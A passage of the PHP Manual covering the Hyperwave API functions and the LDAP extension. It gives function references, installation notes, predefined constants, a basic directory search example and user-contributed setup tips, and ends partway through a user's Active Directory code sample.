User Contributed Notes

There are no user contributed notes for this page.


Delete an object

  • « hw_api::parents
  • hw_api::replace »
  • PHP Manual
  • Hyperwave API Functions
  • Delete an object

hw_api::remove

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::remove — Delete an object

Description

bool hw_api::remove ( array $parameter )

Removes an object from the specified parent. Collections will be removed recursively.

Parameters

parameter

You can pass an optional object query to remove only those objects which match the query. An object will be deleted physically if it is the last instance.

The parameter array contains the required elements 'objectidentifier' and 'parentidentifier'. If you want to remove a user or group 'parentidentifier' can be skipped.

The optional parameter 'mode' determines how the deletion is performed. In normal mode the object will not be removed physically until all instances are removed. In physical mode all instances of the object will be deleted immediately. In removelinks mode all references to and from the objects will be deleted as well. In nonrecursive the deletion is not performed recursive. Removing a collection which is not empty will cause an error.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api::move

User Contributed Notes

There are no user contributed notes for this page.


Replaces an object

  • « hw_api::remove
  • hw_api::setcommittedversion »
  • PHP Manual
  • Hyperwave API Functions
  • Replaces an object

hw_api::replace

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::replace — Replaces an object

Description

hw_api_object hw_api::replace ( array $parameter )

Replaces the attributes and the content of an object.

Parameters

parameter

The parameter array contains the required elements 'objectIdentifier' and 'object' and the optional parameters 'content', 'parameters', 'mode' and 'attributeSelector'. 'objectIdentifier' contains the object to be replaced. 'object' contains the new object. 'content' contains the new content. 'parameters' contain extra information for HTML documents. HTML_Language is the letter abbreviation of the language of the title. HTML_Base sets the base attribute of the HTML document.

'mode' can be a combination of the following flags:

HW_API_REPLACE_NORMAL
The object on the server is replace with the object passed.
HW_API_REPLACE_FORCE_VERSION_CONTROL
HW_API_REPLACE_AUTOMATIC_CHECKOUT
HW_API_REPLACE_AUTOMATIC_CHECKIN
HW_API_REPLACE_PLAIN
HW_API_REPLACE_REVERT_IF_NOT_CHANGED
HW_API_REPLACE_KEEP_TIME_MODIFIED

Return Values

See Also

  • hw_api::insert

User Contributed Notes

There are no user contributed notes for this page.


Commits version other than last version

  • « hw_api::replace
  • hw_api::srcanchors »
  • PHP Manual
  • Hyperwave API Functions
  • Commits version other than last version

hw_api::setcommittedversion

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::setcommittedversion — Commits version other than last version

Description

hw_api_object hw_api::setcommittedversion ( array $parameter )

Commits a version of a document. The committed version is the one which is visible to users with read access. By default the last version is the committed version.

Parameters

parameter

Return Values

See Also

  • hw_api::checkin
  • hw_api::checkout

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of all source anchors

  • « hw_api::setcommittedversion
  • hw_api::srcsofdst »
  • PHP Manual
  • Hyperwave API Functions
  • Returns a list of all source anchors

hw_api::srcanchors

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::srcanchors — Returns a list of all source anchors

Description

array hw_api::srcanchors ( array $parameter )

Retrieves all source anchors of an object.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional elements 'attributeSelector' and 'objectQuery'.

Return Values

See Also

  • hw_api::dstanchors

User Contributed Notes

There are no user contributed notes for this page.


Returns source of a destination object

  • « hw_api::srcanchors
  • hw_api::unlock »
  • PHP Manual
  • Hyperwave API Functions
  • Returns source of a destination object

hw_api::srcsofdst

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::srcsofdst — Returns source of a destination object

Description

array hw_api::srcsofdst ( array $parameter )

Retrieves all the source anchors pointing to the specified destination. The destination object can either be a destination anchor or a whole document.

Parameters

parameter

The parameters array contains the required element 'objectIdentifier' and the optional element 'attributeSelector' and 'objectQuery'. The function returns an array of objects or an error.

Return Values

See Also

  • hw_api::dstofsrcanchor

User Contributed Notes

There are no user contributed notes for this page.


Unlocks a locked object

  • « hw_api::srcsofdst
  • hw_api::user »
  • PHP Manual
  • Hyperwave API Functions
  • Unlocks a locked object

hw_api::unlock

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::unlock — Unlocks a locked object

Description

bool hw_api::unlock ( array $parameter )

Unlocks a locked object. Only the user who has locked the object and the system user may unlock an object.

Parameters

parameter

The parameter array contains the required element 'objectIdentifier' and the optional parameters 'mode' and 'objectquery'. The meaning of 'mode' is the same as in function hwapi_lock().

Return Values

Returns TRUE on success or an object of class HW_API_Error.

See Also

  • hw_api::lock

User Contributed Notes

There are no user contributed notes for this page.


Returns the own user object

  • « hw_api::unlock
  • hw_api::userlist »
  • PHP Manual
  • Hyperwave API Functions
  • Returns the own user object

hw_api::user

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::user — Returns the own user object

Description

hw_api_object hw_api::user ( array $parameter )

Returns the own user object.

Parameters

parameter

Return Values

See Also

  • hw_api::userlist

User Contributed Notes

There are no user contributed notes for this page.


Returns a list of all logged in users

  • « hw_api::user
  • hw_api_attribute::key »
  • PHP Manual
  • Hyperwave API Functions
  • Returns a list of all logged in users

hw_api::userlist

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api::userlist — Returns a list of all logged in users

Description

array hw_api::userlist ( array $parameter )

Returns a list of all logged in users.

Parameters

parameter

Return Values

See Also

  • hw_api::user

User Contributed Notes

There are no user contributed notes for this page.


Returns key of the attribute

  • « hw_api::userlist
  • hw_api_attribute::langdepvalue »
  • PHP Manual
  • Hyperwave API Functions
  • Returns key of the attribute

hw_api_attribute::key

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::key — Returns key of the attribute

Description

string hw_api_attribute::key ( void )

Returns the name of the attribute.

Return Values

Returns the name of the attribute as a string.

See Also

  • hw_api_attribute::value

User Contributed Notes

There are no user contributed notes for this page.


Returns value for a given language

  • « hw_api_attribute::key
  • hw_api_attribute::value »
  • PHP Manual
  • Hyperwave API Functions
  • Returns value for a given language

hw_api_attribute::langdepvalue

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::langdepvalue — Returns value for a given language

Description

string hw_api_attribute::langdepvalue ( string $language )

Returns the value in the given language of the attribute.

Parameters

language

Return Values

Returns the value of the attribute as a string.

See Also

  • hw_api_attribute::value

User Contributed Notes

There are no user contributed notes for this page.


Returns value of the attribute

  • « hw_api_attribute::langdepvalue
  • hw_api_attribute::values »
  • PHP Manual
  • Hyperwave API Functions
  • Returns value of the attribute

hw_api_attribute::value

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::value — Returns value of the attribute

Description

string hw_api_attribute::value ( void )

Gets the value of the attribute.

Return Values

Returns the value, as a string.

See Also

  • hw_api_attribute::key
  • hw_api_attribute::values

User Contributed Notes

There are no user contributed notes for this page.


Returns all values of the attribute

  • « hw_api_attribute::value
  • hw_api_content::mimetype »
  • PHP Manual
  • Hyperwave API Functions
  • Returns all values of the attribute

hw_api_attribute::values

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_attribute::values — Returns all values of the attribute

Description

array hw_api_attribute::values ( void )

Gets all values of the attribute.

Return Values

Returns an array of attribute values.

See Also

  • hw_api_attribute::value

User Contributed Notes

There are no user contributed notes for this page.


Returns mimetype

  • « hw_api_attribute::values
  • hw_api_content::read »
  • PHP Manual
  • Hyperwave API Functions
  • Returns mimetype

hw_api_content::mimetype

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_content::mimetype — Returns mimetype

Description

string hw_api_content::mimetype ( void )

Returns the mimetype of the content.

Return Values

Returns the mimetype as a string.

User Contributed Notes

There are no user contributed notes for this page.


Read content

  • « hw_api_content::mimetype
  • hw_api_error::count »
  • PHP Manual
  • Hyperwave API Functions
  • Read content

hw_api_content::read

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_content::read — Read content

Description

string hw_api_content::read ( string $buffer , int $len )

Reads len bytes from the content into the given buffer.

Parameters

buffer

len

Number of bytes to read.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns number of reasons

  • « hw_api_content::read
  • hw_api_error::reason »
  • PHP Manual
  • Hyperwave API Functions
  • Returns number of reasons

hw_api_error::count

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_error::count — Returns number of reasons

Description

int hw_api_error::count ( void )

Returns the number of error reasons.

Return Values

Returns the number of errors, as an integer.

See Also

  • hw_api_error::reason

User Contributed Notes

There are no user contributed notes for this page.


Returns reason of error

  • « hw_api_error::count
  • hw_api_object::assign »
  • PHP Manual
  • Hyperwave API Functions
  • Returns reason of error

hw_api_error::reason

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_error::reason — Returns reason of error

Description

HW_API_Reason hw_api_error::reason ( void )

Returns the first error reason.

Return Values

See Also

  • hw_api_error::count

User Contributed Notes

There are no user contributed notes for this page.


Clones object

  • « hw_api_error::reason
  • hw_api_object::attreditable »
  • PHP Manual
  • Hyperwave API Functions
  • Clones object

hw_api_object::assign

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::assign — Clones object

Description

bool hw_api_object::assign ( array $parameter )

Clones the attributes of an object.

Parameters

parameter

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Checks whether an attribute is editable

  • « hw_api_object::assign
  • hw_api_object::count »
  • PHP Manual
  • Hyperwave API Functions
  • Checks whether an attribute is editable

hw_api_object::attreditable

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::attreditable — Checks whether an attribute is editable

Description

bool hw_api_object::attreditable ( array $parameter )

Checks whether an attribute is editable.

Parameters

parameter

Return Values

Returns TRUE if the attribute is editable, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Returns number of attributes

  • « hw_api_object::attreditable
  • hw_api_object::insert »
  • PHP Manual
  • Hyperwave API Functions
  • Returns number of attributes

hw_api_object::count

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::count — Returns number of attributes

Description

int hw_api_object::count ( array $parameter )

Returns the number of attributes.

Parameters

parameter

Return Values

Returns the number as an integer.

User Contributed Notes

There are no user contributed notes for this page.


Inserts new attribute

  • « hw_api_object::count
  • hw_api_object::remove »
  • PHP Manual
  • Hyperwave API Functions
  • Inserts new attribute

hw_api_object::insert

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::insert — Inserts new attribute

Description

bool hw_api_object::insert ( HW_API_Attribute $attribute )

Adds an attribute to the object.

Parameters

attribute

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api_object::remove

User Contributed Notes

There are no user contributed notes for this page.


Removes attribute

  • « hw_api_object::insert
  • hw_api_object::title »
  • PHP Manual
  • Hyperwave API Functions
  • Removes attribute

hw_api_object::remove

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::remove — Removes attribute

Description

bool hw_api_object::remove ( string $name )

Removes the attribute with the given name.

Parameters

name

The attribute name.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • hw_api_object::insert

User Contributed Notes

There are no user contributed notes for this page.


Returns the title attribute

  • « hw_api_object::remove
  • hw_api_object::value »
  • PHP Manual
  • Hyperwave API Functions
  • Returns the title attribute

hw_api_object::title

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::title — Returns the title attribute

Description

string hw_api_object::title ( array $parameter )

Returns the title attribute.

Parameters

parameter

Return Values

Returns the title as a string.

User Contributed Notes

There are no user contributed notes for this page.


Returns value of attribute

  • « hw_api_object::title
  • hw_api_reason::description »
  • PHP Manual
  • Hyperwave API Functions
  • Returns value of attribute

hw_api_object::value

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_object::value — Returns value of attribute

Description

string hw_api_object::value ( string $name )

Returns value of an attribute.

Parameters

name

The attribute name.

Return Values

Returns the value of the attribute with the given name or FALSE if an error occurred.

User Contributed Notes

There are no user contributed notes for this page.


Returns description of reason

  • « hw_api_object::value
  • hw_api_reason::type »
  • PHP Manual
  • Hyperwave API Functions
  • Returns description of reason

hw_api_reason::description

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_reason::description — Returns description of reason

Description

string hw_api_reason::description ( void )

Returns the description of a reason

Return Values

Returns the description, as a string.

User Contributed Notes

There are no user contributed notes for this page.


Returns type of reason

  • « hw_api_reason::description
  • hwapi_attribute_new »
  • PHP Manual
  • Hyperwave API Functions
  • Returns type of reason

hw_api_reason::type

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hw_api_reason::type — Returns type of reason

Description

HW_API_Reason hw_api_reason::type ( void )

Returns the type of a reason.

Return Values

Returns an instance of HW_API_Reason.

User Contributed Notes

There are no user contributed notes for this page.


Creates instance of class hw_api_attribute

  • « hw_api_reason::type
  • hwapi_content_new »
  • PHP Manual
  • Hyperwave API Functions
  • Creates instance of class hw_api_attribute

hwapi_attribute_new

(No version information available, might only be in Git)

hwapi_attribute_new — Creates instance of class hw_api_attribute

Description

HW_API_Attribute hwapi_attribute_new ([ string $name [, string $value ]] )

Creates a new instance of hw_api_attribute with the given name and value.

Parameters

name

The attribute name.

value

The attribute value.

Return Values

Returns an instance of hw_api_attribute.

User Contributed Notes

There are no user contributed notes for this page.


Create new instance of class hw_api_content

  • « hwapi_attribute_new
  • hwapi_hgcsp »
  • PHP Manual
  • Hyperwave API Functions
  • Create new instance of class hw_api_content

hwapi_content_new

(No version information available, might only be in Git)

hwapi_content_new — Create new instance of class hw_api_content

Description

HW_API_Content hwapi_content_new ( string $content , string $mimetype )

Creates a new content object from the string content.

Parameters

content

mimetype

The mimetype for the contents.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Returns object of class hw_api

  • « hwapi_content_new
  • hwapi_object_new »
  • PHP Manual
  • Hyperwave API Functions
  • Returns object of class hw_api

hwapi_hgcsp

(PHP 4, PHP 5 < 5.2.0, PECL hwapi SVN)

hwapi_hgcsp — Returns object of class hw_api

Description

HW_API hwapi_hgcsp ( string $hostname [, int $port ] )

Opens a connection to the Hyperwave server on host hostname. The protocol used is HGCSP.

Parameters

hostname

The host name.

port

If you do not pass a port number, 418 is used.

Return Values

Returns an instance of HW_API.

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance of class hwapi_object_new

  • « hwapi_hgcsp
  • LDAP »
  • PHP Manual
  • Hyperwave API Functions
  • Creates a new instance of class hwapi_object_new

hwapi_object_new

(No version information available, might only be in Git)

hwapi_object_new — Creates a new instance of class hwapi_object_new

Description

hw_api_object hwapi_object_new ( array $parameter )

Creates a new instance of the class hw_api_object.

Parameters

parameter

Return Values

See Also

  • hw_api::lock

User Contributed Notes

There are no user contributed notes for this page.


Lightweight Directory Access Protocol

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Using the PHP LDAP calls
  • Examples
    • Basic usage
  • LDAP Functions
    • ldap_8859_to_t61 — Translate 8859 characters to t61 characters
    • ldap_add — Add entries to LDAP directory
    • ldap_bind — Bind to LDAP directory
    • ldap_close — Alias of ldap_unbind
    • ldap_compare — Compare value of attribute found in entry specified with DN
    • ldap_connect — Connect to an LDAP server
    • ldap_control_paged_result_response — Retrieve the LDAP pagination cookie
    • ldap_control_paged_result — Send LDAP pagination control
    • ldap_count_entries — Count the number of entries in a search
    • ldap_delete — Delete an entry from a directory
    • ldap_dn2ufn — Convert DN to User Friendly Naming format
    • ldap_err2str — Convert LDAP error number into string error message
    • ldap_errno — Return the LDAP error number of the last LDAP command
    • ldap_error — Return the LDAP error message of the last LDAP command
    • ldap_escape — Escape a string for use in an LDAP filter or DN
    • ldap_explode_dn — Splits DN into its component parts
    • ldap_first_attribute — Return first attribute
    • ldap_first_entry — Return first result id
    • ldap_first_reference — Return first reference
    • ldap_free_result — Free result memory
    • ldap_get_attributes — Get attributes from a search result entry
    • ldap_get_dn — Get the DN of a result entry
    • ldap_get_entries — Get all result entries
    • ldap_get_option — Get the current value for given option
    • ldap_get_values_len — Get all binary values from a result entry
    • ldap_get_values — Get all values from a result entry
    • ldap_list — Single-level search
    • ldap_mod_add — Add attribute values to current attributes
    • ldap_mod_del — Delete attribute values from current attributes
    • ldap_mod_replace — Replace attribute values with new ones
    • ldap_modify_batch — Batch and execute modifications on an LDAP entry
    • ldap_modify — Modify an LDAP entry
    • ldap_next_attribute — Get the next attribute in result
    • ldap_next_entry — Get next result entry
    • ldap_next_reference — Get next reference
    • ldap_parse_reference — Extract information from reference entry
    • ldap_parse_result — Extract information from result
    • ldap_read — Read an entry
    • ldap_rename — Modify the name of an entry
    • ldap_sasl_bind — Bind to LDAP directory using SASL
    • ldap_search — Search LDAP tree
    • ldap_set_option — Set the value of the given option
    • ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing
    • ldap_sort — Sort LDAP result entries
    • ldap_start_tls — Start TLS
    • ldap_t61_to_8859 — Translate t61 characters to 8859 characters
    • ldap_unbind — Unbind from LDAP directory

User Contributed Notes

beni at php dot net 13-Jul-2009 10:51
For an fast and easy LDAP API also see PEARs Net_LDAP2 package at http://pear.php.net/package/Net_LDAP2 wich puts an object oriented layer above this LDAP functions.


Introduction

LDAP is the Lightweight Directory Access Protocol, and is a protocol used to access "Directory Servers". The Directory is a special kind of database that holds information in a tree structure.

The concept is similar to your hard disk directory structure, except that in this context, the root directory is "The world" and the first level subdirectories are "countries". Lower levels of the directory structure contain entries for companies, organisations or places, while yet lower still we find directory entries for people, and perhaps equipment or documents.

To refer to a file in a subdirectory on your hard disk, you might use something like:

   /usr/local/myapp/docs

The forwards slash marks each division in the reference, and the sequence is read from left to right.

The equivalent to the fully qualified file reference in LDAP is the "distinguished name", referred to simply as "dn". An example dn might be:

   cn=John Smith,ou=Accounts,o=My Company,c=US

The comma marks each division in the reference, and the sequence is read from right to left. You would read this dn as:

   country = US
   organization = My Company
   organizationalUnit = Accounts
   commonName = John Smith

In the same way as there are no hard rules about how you organise the directory structure of a hard disk, a directory server manager can set up any structure that is meaningful for the purpose. However, there are some conventions that are used. The message is that you can not write code to access a directory server unless you know something about its structure, any more than you can use a database without some knowledge of what is available.

Lots of information about LDAP can be found at

  • » Mozilla

  • » OpenLDAP Project

The Netscape SDK contains a helpful » Programmer's Guide in HTML format.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

You will need to get and compile LDAP client libraries from either » OpenLDAP or » Bind9.net in order to compile PHP with LDAP support.

User Contributed Notes

pikmaster at wp dot pl 19-Oct-2012 10:57
openldap and openssl directories will be used, eg. when using ldap_bind() function. Most typical problem would be when trying to use LDAP over SSL and the certificates are missing - you will have to install certificates in /etc/openldap/cacerts or /etc/pki/tls/certs directories.


Installation

LDAP support in PHP is not enabled by default. You will need to use the --with-ldap[=DIR] configuration option when compiling PHP to enable LDAP support. DIR is the LDAP base install directory. To enable SASL support, be sure --with-ldap-sasl[=DIR] is used, and that sasl.h exists on the system.

Note: Note to Win32 Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: libeay32.dll and ssleay32.dll

Versions before PHP 4.3.0 additionally require libsasl.dll.

In order to use Oracle LDAP libraries, proper Oracle environment has to be set.

User Contributed Notes

silver dot alecs at yahoo dot com 27-Mar-2014 10:00
The easiest way to install ldap extension on Ubuntu 12.04 is:

sudo apt-get install php5-ldap

Also don't forget to laod the extension.
nesbittp 07-Mar-2014 09:29
To enable PHP LDAP for IIS, I installed PHP Manager which integrates with IIS. Open this up and you can enable/disable extensions. Enable php_ldap.dll and it works straight away.
tomasz() trejderowski!pl 26-Feb-2014 10:32
I can confirm Frank's note (made 1 year ago, see below) about requirement of "libsasl.dll" library. I have "PHP Version 5.4.7" and my Apache fails to restart with error saying, that "libsasl.dll" is missing, once I enable php_ldap.dll extension in PHP configuration.

What is even more strange, I DO HAVE this library (along with required "ssleay32.dll" and "libeay32.dll" in my PHP's directory and my PHP's directory IS listed in Windows' PATH variable and even so, I'm facing the problem of Apache failing to start.

The only workaround, I found is to copy "libsasl.dll" to "system32" system directory. Solution, that PHP documentation here discourages.

So, to summarize, section "Note to Win32 users" is twice wrong. You DO have to have "libsasl.dll" directory and you have to place it in your system folder.
Frank 18-Dec-2012 04:12
I found not only "Versions before PHP 4.3.0 additionally require libsasl.dll.".

If you use php-5.3.3-Win32-VC9-x86 or later Versions that
It's require libsasl.dll.

Running under Windows & Apache 2.2.8
PHP file is download from http://windows.php.net/downloads/releases/archives/

When I use php-5.2.x-Win32-VC6-x86 and php-5.3.x-Win32-VC6-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,it's ok

When I use php-5.3.x-Win32-VC9-x86 and php-5.4.x-Win32-VC9-x86

1.just uncomment extension=php_ldap.dll  in php.ini
2.Restart apache,always fail...
(only php-5.3.1-Win32-VC9-x86 & php-5.3.2-Win32-VC9-x86 is ok. )

[php-5.3.3-Win32-VC9-x86 or later Versions]
1.just uncomment extension=php_ldap.dll  in php.ini
2.copy  libsasl.dll to [apache folder]\bin
3.Restart apache,it's ok
msuzer 31-Jan-2012 04:51
If using a debian machine (debian or ubuntu variants) just do apt-get install php5-ldap, that's all to get ldap work on php. No need to get sources, try to compiling them and  so on.
kirk dot kerr at arcusfm dot com 10-Jan-2011 01:54
It seems that the php 5.3 windows installer does not install the ldap.dll to the hard drive as standard - during the install process i had to specifically request that it was installed.
tom at wheelercreek dot com 27-Apr-2009 07:23
Sorry - I was referring to "php_ldap.dll", not php_lamp.dll
tom at wheelercreek dot com 25-Apr-2009 12:57
If you're running on Windows XP with Apache, and you installed PHP 5 from the windows installer rather than the full zipped version - you may not have the php_ldap.dll file.

I had to follow the steps above, making sure PHP was added to my Windows Path, adding the 2 dll files to the system32 directory, also making sure the php.ini extensions directory was set correctly (in my case: C:\Program Files\PHP\ext).

Still was a getting a message about not being able to locate the "php_lamp.dll" file.  I finally went back, downloaded the full .zip file of latest PHP version, and that missing dll file is included there - along with many others.

Remember to restart Apache server after you do all this.
Steve 06-Aug-2008 08:03
Running under IIS, I found php_ldap would not load even though d:\php contained libeay32.dll and ssleay32.dll, and d:\php was in the PATH environment variable.

I finally tracked this down to the position of d:\php in the PATH.  If d:\php is near the head of the PATH, everything works fine.  If d:\php is near the end of the PATH, apparently it gets ignored by IIS (even though it works fine from the command line, e.g., with php -m).  Have no idea why this is.
Anonymous 27-May-2008 01:15
Running under IIS, I did not find the need to download and compile libraries.

1. Edit PHP.INI (which should be in windows directory)
2. Uncomment the line extension=php_ldap.dll
3. Restart IIS


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

LDAP configuration options
Name | Default | Changeable | Changelog
ldap.max_links | "-1" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ldap.max_links integer

The maximum number of LDAP connections per process.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

Most LDAP functions operate on or return resources (e.g. ldap_connect() returns a positive LDAP link identifier required by most LDAP functions).

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

LDAP_DEREF_NEVER (integer)
LDAP_DEREF_SEARCHING (integer)
LDAP_DEREF_FINDING (integer)
LDAP_DEREF_ALWAYS (integer)
LDAP_OPT_DEREF (integer)
Specifies alternative rules for following aliases at the server.
LDAP_OPT_SIZELIMIT (integer)

Specifies the maximum number of entries that can be returned on a search operation.

Note: The actual size limit for operations is also bounded by the server's configured maximum number of return entries. The lesser of these two settings is the actual size limit.

LDAP_OPT_TIMELIMIT (integer)
Specifies the number of seconds to wait for search results.

Note: The actual time limit for operations is also bounded by the server's configured maximum time. The lesser of these two settings is the actual time limit.

LDAP_OPT_NETWORK_TIMEOUT (integer)
Option for ldap_set_option() to allow setting network timeout. (Available as of PHP 5.3.0)
LDAP_OPT_PROTOCOL_VERSION (integer)
Specifies the LDAP protocol to be used (V2 or V3).
LDAP_OPT_ERROR_NUMBER (integer)
LDAP_OPT_REFERRALS (integer)
Specifies whether to automatically follow referrals returned by the LDAP server.
LDAP_OPT_RESTART (integer)
LDAP_OPT_HOST_NAME (integer)
LDAP_OPT_ERROR_STRING (integer)
LDAP_OPT_MATCHED_DN (integer)
LDAP_OPT_SERVER_CONTROLS (integer)
Specifies a default list of server controls to be sent with each request.
LDAP_OPT_CLIENT_CONTROLS (integer)
Specifies a default list of client controls to be processed with each request.
LDAP_OPT_DEBUG_LEVEL (integer)
Specifies a bitwise level for debug traces.
GSLC_SSL_NO_AUTH (integer)
GSLC_SSL_ONEWAY_AUTH (integer)
GSLC_SSL_TWOWAY_AUTH (integer)

User Contributed Notes

There are no user contributed notes for this page.


Using the PHP LDAP calls

Before you can use the LDAP calls you will need to know ..

  • The name or address of the directory server you will use

  • The "base dn" of the server (the part of the world directory that is held on this server, which could be "o=My Company,c=US")

  • Whether you need a password to access the server (many servers will provide read access for an "anonymous bind" but require a password for anything else)

The typical sequence of LDAP calls you will make in an application will follow this pattern:

  ldap_connect()    // establish connection to server
     |
  ldap_bind()       // anonymous or authenticated "login"
     |
  do something like search or update the directory
  and display the results
     |
  ldap_close()      // "logout"

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

Retrieve information for all entries where the surname starts with "S" from a directory server, displaying an extract with name and email address.

Example #1 LDAP search example

<?php
// basic sequence with LDAP is connect, bind, search, interpret search
// result, close connection

echo "<h3>LDAP query test</h3>";
echo "Connecting ...";
$ds=ldap_connect("localhost");  // must be a valid LDAP server!
echo "connect result is " . $ds . "<br />";

if ($ds) {
    echo "Binding ...";
    $r=ldap_bind($ds);     // this is an "anonymous" bind, typically
                           // read-only access
    echo "Bind result is " . $r . "<br />";

    echo "Searching for (sn=S*) ...";
    // Search surname entry
    $sr=ldap_search($ds, "o=My Company, c=US", "sn=S*");
    echo "Search result is " . $sr . "<br />";

    echo "Number of entries returned is " . ldap_count_entries($ds, $sr) . "<br />";

    echo "Getting entries ...<p>";
    $info = ldap_get_entries($ds, $sr);
    echo "Data for " . $info["count"] . " items returned:<p>";

    for ($i=0; $i<$info["count"]; $i++) {
        echo "dn is: " . $info[$i]["dn"] . "<br />";
        echo "first cn entry is: " . $info[$i]["cn"][0] . "<br />";
        echo "first email entry is: " . $info[$i]["mail"][0] . "<br /><hr />";
    }

    echo "Closing connection";
    ldap_close($ds);

} else {
    echo "<h4>Unable to connect to LDAP server</h4>";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


LDAP Functions

Table of Contents

  • ldap_8859_to_t61 — Translate 8859 characters to t61 characters
  • ldap_add — Add entries to LDAP directory
  • ldap_bind — Bind to LDAP directory
  • ldap_close — Alias of ldap_unbind
  • ldap_compare — Compare value of attribute found in entry specified with DN
  • ldap_connect — Connect to an LDAP server
  • ldap_control_paged_result_response — Retrieve the LDAP pagination cookie
  • ldap_control_paged_result — Send LDAP pagination control
  • ldap_count_entries — Count the number of entries in a search
  • ldap_delete — Delete an entry from a directory
  • ldap_dn2ufn — Convert DN to User Friendly Naming format
  • ldap_err2str — Convert LDAP error number into string error message
  • ldap_errno — Return the LDAP error number of the last LDAP command
  • ldap_error — Return the LDAP error message of the last LDAP command
  • ldap_escape — Escape a string for use in an LDAP filter or DN
  • ldap_explode_dn — Splits DN into its component parts
  • ldap_first_attribute — Return first attribute
  • ldap_first_entry — Return first result id
  • ldap_first_reference — Return first reference
  • ldap_free_result — Free result memory
  • ldap_get_attributes — Get attributes from a search result entry
  • ldap_get_dn — Get the DN of a result entry
  • ldap_get_entries — Get all result entries
  • ldap_get_option — Get the current value for given option
  • ldap_get_values_len — Get all binary values from a result entry
  • ldap_get_values — Get all values from a result entry
  • ldap_list — Single-level search
  • ldap_mod_add — Add attribute values to current attributes
  • ldap_mod_del — Delete attribute values from current attributes
  • ldap_mod_replace — Replace attribute values with new ones
  • ldap_modify_batch — Batch and execute modifications on an LDAP entry
  • ldap_modify — Modify an LDAP entry
  • ldap_next_attribute — Get the next attribute in result
  • ldap_next_entry — Get next result entry
  • ldap_next_reference — Get next reference
  • ldap_parse_reference — Extract information from reference entry
  • ldap_parse_result — Extract information from result
  • ldap_read — Read an entry
  • ldap_rename — Modify the name of an entry
  • ldap_sasl_bind — Bind to LDAP directory using SASL
  • ldap_search — Search LDAP tree
  • ldap_set_option — Set the value of the given option
  • ldap_set_rebind_proc — Set a callback function to do re-binds on referral chasing
  • ldap_sort — Sort LDAP result entries
  • ldap_start_tls — Start TLS
  • ldap_t61_to_8859 — Translate t61 characters to 8859 characters
  • ldap_unbind — Unbind from LDAP directory

User Contributed Notes

vito dot robar at mors dot si 16-May-2012 09:21
If you have problems with national characters or UTF8 encoding/decoding, set protocol to version 3:

<?php
$ds = ldap_connect(...);
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_bind($ds,...);
?>
Andrew Sharpe 23-Apr-2012 03:04
To compile PHP 5.1.6 on RHEL 6.2 x86_64, add the following to your configure command:

--with-libdir=lib64
--with-ldap=/usr
idbobby at rambler dot ru 12-Aug-2010 11:26
First of all, sorry for my English.
Here are two functions to check group membership and some others which can be useful for work with LDAP (Active Directory in this example).

index.php
---------

<?php

$user = 'bob';
$password = 'zhlob';
$host = 'myldap';
$domain = 'mydomain.ex';
$basedn = 'dc=mydomain,dc=ex';
$group = 'SomeGroup';

$ad = ldap_connect("ldap://{$host}.{$domain}") or die('Could not connect to LDAP server.');
ldap_set_option($ad, LDAP_OPT_PROTOCOL_VERSION, 3);
